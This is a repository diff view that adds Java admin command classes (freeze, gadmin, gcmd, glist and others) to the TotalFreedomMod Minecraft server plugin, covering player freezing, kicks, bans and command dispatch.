|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (ConfigEntry.FLATLANDS_GENERATE.getBoolean())
|
||||||
|
{
|
||||||
|
plugin.wm.flatlands.sendToWorld(playerSender);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Flatlands is currently disabled.");
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,67 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.freeze.FreezeData;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH)
|
||||||
|
@CommandParameters(description = "Freeze players (toggles on and off).", usage = "/<command> [target | purge]", aliases = "fr")
|
||||||
|
public class Command_freeze extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length == 0)
|
||||||
|
{
|
||||||
|
boolean gFreeze = !plugin.fm.isGlobalFreeze();
|
||||||
|
plugin.fm.setGlobalFreeze(gFreeze);
|
||||||
|
|
||||||
|
if (!gFreeze)
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Disabling global player freeze", false);
|
||||||
|
msg("Players are now free to move.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
FUtil.adminAction(sender.getName(), "Enabling global player freeze", false);
|
||||||
|
for (Player player : server.getOnlinePlayers())
|
||||||
|
{
|
||||||
|
if (!isAdmin(player))
|
||||||
|
{
|
||||||
|
msg(player, "You have been frozen due to rulebreakers, you will be unfrozen soon.", ChatColor.RED);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
msg("Players are now frozen.");
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args[0].equals("purge"))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Unfreezing all players", false);
|
||||||
|
plugin.fm.purge();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
msg(FreedomCommand.PLAYER_NOT_FOUND, ChatColor.RED);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final FreezeData fd = plugin.pl.getPlayer(player).getFreezeData();
|
||||||
|
fd.setFrozen(!fd.isFrozen());
|
||||||
|
|
||||||
|
msg(player.getName() + " has been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".");
|
||||||
|
msg(player, "You have been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".", ChatColor.AQUA);
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,50 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.player.FPlayer;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SENIOR_ADMIN, source = SourceType.ONLY_IN_GAME)
|
||||||
|
@CommandParameters(description = "You'll never even see it coming.", usage = "/<command> <on [radius (default=25)] | off>")
|
||||||
|
public class Command_fuckoff extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length < 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
FPlayer player = plugin.pl.getPlayer(playerSender);
|
||||||
|
|
||||||
|
if (!args[0].equals("on"))
|
||||||
|
{
|
||||||
|
player.disableFuckoff();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
|
||||||
|
double radius = 25.0;
|
||||||
|
if (args.length >= 2)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
radius = Math.max(5.0, Math.min(50, Double.parseDouble(args[1])));
|
||||||
|
}
|
||||||
|
catch (NumberFormatException ex)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
player.setFuckoff(radius);
|
||||||
|
}
|
||||||
|
|
||||||
|
msg("Fuckoff " + (player.isFuckOff() ? ("enabled. Radius: " + player.getFuckoffRadius() + ".") : "disabled."));
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,209 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.util.Iterator;
|
||||||
|
import java.util.UUID;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||||
|
import me.totalfreedom.totalfreedommod.freeze.FreezeData;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.bukkit.ChatColor;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||||
|
@CommandParameters(
|
||||||
|
description = "Use admin commands on someone by hash. Use mode 'list' to get a player's hash. Other modes are kick, nameban, ipban, ban, op, deop, ci, fr, smite.",
|
||||||
|
usage = "/<command> [list | [<kick | nameban | ipban | ban | op | deop | ci | fr | smite> <targethash>] ]")
|
||||||
|
public class Command_gadmin extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
private enum GadminMode
|
||||||
|
{
|
||||||
|
|
||||||
|
LIST("list"),
|
||||||
|
KICK("kick"),
|
||||||
|
NAMEBAN("nameban"),
|
||||||
|
IPBAN("ipban"),
|
||||||
|
BAN("ban"),
|
||||||
|
OP("op"),
|
||||||
|
DEOP("deop"),
|
||||||
|
CI("ci"),
|
||||||
|
FR("fr"),
|
||||||
|
SMITE("smite");
|
||||||
|
private final String modeName;
|
||||||
|
|
||||||
|
private GadminMode(String command)
|
||||||
|
{
|
||||||
|
this.modeName = command;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getModeName()
|
||||||
|
{
|
||||||
|
return modeName;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static GadminMode findMode(String needle)
|
||||||
|
{
|
||||||
|
for (final GadminMode mode : GadminMode.values())
|
||||||
|
{
|
||||||
|
if (needle.equalsIgnoreCase(mode.getModeName()))
|
||||||
|
{
|
||||||
|
return mode;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getPlayerHash(Player player)
|
||||||
|
{
|
||||||
|
return UUID.nameUUIDFromBytes(player.getName().toLowerCase().getBytes(StandardCharsets.UTF_8)).toString().substring(0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length == 0)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
final GadminMode mode = GadminMode.findMode(args[0].toLowerCase());
|
||||||
|
if (mode == null)
|
||||||
|
{
|
||||||
|
msg("Invalid mode: " + args[0], ChatColor.RED);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Iterator<? extends Player> it = server.getOnlinePlayers().iterator();
|
||||||
|
|
||||||
|
if (mode == GadminMode.LIST)
|
||||||
|
{
|
||||||
|
msg("[ Real Name ] : [ Display Name ] - Hash:");
|
||||||
|
while (it.hasNext())
|
||||||
|
{
|
||||||
|
final Player player = it.next();
|
||||||
|
sender.sendMessage(ChatColor.GRAY + String.format("[ %s ] : [ %s ] - %s",
|
||||||
|
player.getName(),
|
||||||
|
ChatColor.stripColor(player.getDisplayName()),
|
||||||
|
getPlayerHash(player)));
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.length < 2)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
Player target = null;
|
||||||
|
while (it.hasNext() && target == null)
|
||||||
|
{
|
||||||
|
final Player player = it.next();
|
||||||
|
final String hash = getPlayerHash(player);
|
||||||
|
|
||||||
|
if (hash.equalsIgnoreCase(args[1]))
|
||||||
|
{
|
||||||
|
target = player;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (target == null)
|
||||||
|
{
|
||||||
|
msg("Invalid player hash: " + args[1], ChatColor.RED);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (mode)
|
||||||
|
{
|
||||||
|
case KICK:
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), String.format("Kicking: %s.", target.getName()), false);
|
||||||
|
target.kickPlayer("Kicked by Administrator");
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case NAMEBAN:
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), String.format("Banning Name: %s.", target.getName()), true);
|
||||||
|
plugin.bm.addBan(Ban.forPlayerName(target, sender, null, null));
|
||||||
|
target.kickPlayer("Username banned by Administrator.");
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case IPBAN:
|
||||||
|
{
|
||||||
|
String ip = target.getAddress().getAddress().getHostAddress();
|
||||||
|
String[] ip_parts = ip.split("\\.");
|
||||||
|
if (ip_parts.length == 4)
|
||||||
|
{
|
||||||
|
ip = String.format("%s.%s.*.*", ip_parts[0], ip_parts[1]);
|
||||||
|
}
|
||||||
|
FUtil.adminAction(sender.getName(), String.format("Banning IP: %s.", ip), true);
|
||||||
|
plugin.bm.addBan(Ban.forPlayerIp(ip, sender, null, null));
|
||||||
|
|
||||||
|
target.kickPlayer("IP address banned by Administrator.");
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case BAN:
|
||||||
|
{
|
||||||
|
String ip = target.getAddress().getAddress().getHostAddress();
|
||||||
|
String[] ip_parts = ip.split("\\.");
|
||||||
|
if (ip_parts.length == 4)
|
||||||
|
{
|
||||||
|
ip = String.format("%s.%s.*.*", ip_parts[0], ip_parts[1]);
|
||||||
|
}
|
||||||
|
FUtil.adminAction(sender.getName(), String.format("Banning Name: %s, IP: %s.", target.getName(), ip), true);
|
||||||
|
|
||||||
|
plugin.bm.addBan(Ban.forPlayer(target, sender));
|
||||||
|
|
||||||
|
target.kickPlayer("IP and username banned by Administrator.");
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case OP:
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), String.format("Opping %s.", target.getName()), false);
|
||||||
|
target.setOp(true);
|
||||||
|
target.sendMessage(FreedomCommand.YOU_ARE_OP);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case DEOP:
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), String.format("Deopping %s.", target.getName()), false);
|
||||||
|
target.setOp(false);
|
||||||
|
target.sendMessage(FreedomCommand.YOU_ARE_NOT_OP);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case CI:
|
||||||
|
{
|
||||||
|
target.getInventory().clear();
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case FR:
|
||||||
|
{
|
||||||
|
FreezeData fd = plugin.pl.getPlayer(target).getFreezeData();
|
||||||
|
fd.setFrozen(!fd.isFrozen());
|
||||||
|
|
||||||
|
msg(target.getName() + " has been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".");
|
||||||
|
target.sendMessage(ChatColor.AQUA + "You have been " + (fd.isFrozen() ? "frozen" : "unfrozen") + ".");
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case SMITE:
|
||||||
|
{
|
||||||
|
Command_smite.smite(target);
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,56 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||||
|
@CommandParameters(description = "Send a command as someone else.", usage = "/<command> <fromname> <outcommand>")
|
||||||
|
public class Command_gcmd extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length < 2)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
final Player player = getPlayer(args[0]);
|
||||||
|
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
sender.sendMessage(FreedomCommand.PLAYER_NOT_FOUND);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
final String outCommand = StringUtils.join(args, " ", 1, args.length);
|
||||||
|
|
||||||
|
if (plugin.cb.isCommandBlocked(outCommand, sender))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
msg("Sending command as " + player.getName() + ": " + outCommand);
|
||||||
|
if (server.dispatchCommand(player, outCommand))
|
||||||
|
{
|
||||||
|
msg("Command sent.");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
msg("Unknown error sending command.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Throwable ex)
|
||||||
|
{
|
||||||
|
msg("Error sending command: " + ex.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,115 @@
|
|||||||
|
package me.totalfreedom.totalfreedommod.command;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import me.totalfreedom.totalfreedommod.banning.Ban;
|
||||||
|
import me.totalfreedom.totalfreedommod.player.PlayerData;
|
||||||
|
import me.totalfreedom.totalfreedommod.rank.Rank;
|
||||||
|
import me.totalfreedom.totalfreedommod.util.FUtil;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
@CommandPermissions(level = Rank.SUPER_ADMIN, source = SourceType.BOTH, blockHostConsole = true)
|
||||||
|
@CommandParameters(description = "Bans or unbans any player, even those who are not logged in anymore.", usage = "/<command> <purge | ban <username> [reason] | unban <username>>")
|
||||||
|
public class Command_glist extends FreedomCommand
|
||||||
|
{
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public boolean run(CommandSender sender, Player playerSender, Command cmd, String commandLabel, String[] args, boolean senderIsConsole)
|
||||||
|
{
|
||||||
|
if (args.length < 1)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.length == 1)
|
||||||
|
{
|
||||||
|
if ("purge".equals(args[0]))
|
||||||
|
{
|
||||||
|
checkRank(Rank.SENIOR_ADMIN);
|
||||||
|
plugin.pl.purgeAllData();
|
||||||
|
msg("Purged playerbase.");
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (args.length < 2)
|
||||||
|
{
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
String username;
|
||||||
|
final List<String> ips = new ArrayList<>();
|
||||||
|
|
||||||
|
final Player player = getPlayer(args[1]);
|
||||||
|
if (player == null)
|
||||||
|
{
|
||||||
|
final PlayerData entry = plugin.pl.getData(args[1]);
|
||||||
|
|
||||||
|
if (entry == null)
|
||||||
|
{
|
||||||
|
msg("Can't find that user. If target is not logged in, make sure that you spelled the name exactly.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
username = entry.getUsername();
|
||||||
|
ips.addAll(entry.getIps());
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
final PlayerData entry = plugin.pl.getData(player);
|
||||||
|
username = player.getName();
|
||||||
|
ips.addAll(entry.getIps());
|
||||||
|
}
|
||||||
|
|
||||||
|
if ("ban".equals(args[0]))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Banning " + username + " and IPs: " + StringUtils.join(ips, ", "), true);
|
||||||
|
|
||||||
|
final String reason = args.length > 2 ? StringUtils.join(args, " ", 2, args.length) : null;
|
||||||
|
|
||||||
|
Ban ban = Ban.forPlayerName(username, sender, null, reason);
|
||||||
|
for (String ip : ips)
|
||||||
|
{
|
||||||
|
ban.addIp(ip);
|
||||||
|
ban.addIp(FUtil.getFuzzyIp(ip));
|
||||||
|
}
|
||||||
|
plugin.bm.addBan(ban);
|
||||||
|
|
||||||
|
if (player != null)
|
||||||
|
{
|
||||||
|
player.kickPlayer(ban.bakeKickMessage());
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ("unban".equals(args[0]))
|
||||||
|
{
|
||||||
|
FUtil.adminAction(sender.getName(), "Unbanning " + username + " and IPs: " + StringUtils.join(ips, ", "), true);
|
||||||
|
plugin.bm.removeBan(plugin.bm.getByUsername(username));
|
||||||
|
|
||||||
|
for (String ip : ips)
|
||||||
|
{
|
||||||
|
Ban ban = plugin.bm.getByIp(ip);
|
||||||
|
if (ban != null)
|
||||||
|
{
|
||||||
|
plugin.bm.removeBan(ban);
|
||||||
|
}
|
||||||
|
ban = plugin.bm.getByIp(FUtil.getFuzzyIp(ip));
|
||||||
|
if (ban != null)
|
||||||
|
{
|
||||||
|
plugin.bm.removeBan(ban);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user